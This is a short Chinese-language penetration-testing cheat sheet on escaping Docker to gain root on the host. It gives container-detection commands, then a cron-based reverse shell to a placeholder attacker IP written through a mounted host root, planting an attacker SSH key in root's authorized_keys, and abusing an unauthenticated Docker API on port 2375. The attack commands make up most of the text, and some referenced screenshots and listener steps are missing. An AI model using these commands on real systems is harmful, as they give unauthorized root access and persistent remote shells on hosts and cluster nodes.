1.1. Docker判断
cat /proc/1/cgroup
ls -alh /.dockerenv
1.2. Docker反弹shell
条件:
获取到宿主机普通用户权限
当前用户已加入docker用户组
a) 写入计划任务获取root权限
进入容器:
docker run -it -v /:/mnt alpine
echo '* * * * * /bin/bash -i > /dev/tcp/xx.xx.xx.xx/8088 0>&1 2>&1' >> /mnt/var/spool/cron/root
注:此语句适用于centos系统
系统任务调度文件:/etc/crontab
用户 XXX 调度文件:
ubuntu下路径
/var/spool/cron/crontabs/xxx
Alpine下路径
/etc/cron.d/xxx
debian下的路径(xxx可以是任意东西)
/etc/cron.d/xxx
或者
/var/spool/cron/crontabs/xxx
但是写这个路径的时候,文件内不能加用户名
攻击机监听:
a) 写入ssh密钥获取root权限
攻击机
ssh-keygen -b 4096 -t rsa
三次回车即可生成
Docker容器里:
挂载宿主机根目录进入容器
docker run -it -v /:/mnt alpine
echo '生成的.pub文件的内容' >/mnt/root/.ssh/authorized_keys
攻击机连接:
ssh -i /home/pentest/.ssh/id_rsa root@xx.xx.xx.xx
1.3. Docker配置不当
Docker api未授权访问
docker -H tcp://10.1.1.71:2375 images
挂载目录写入计划任务获取root权限,如下图:
远程挂载命令:docker -H tcp://10.1.1.71:2375 run -it -v /:/mnt alpine
攻击机监听:
熟悉的node,成功获取k8s集群的一台节点服务器权限。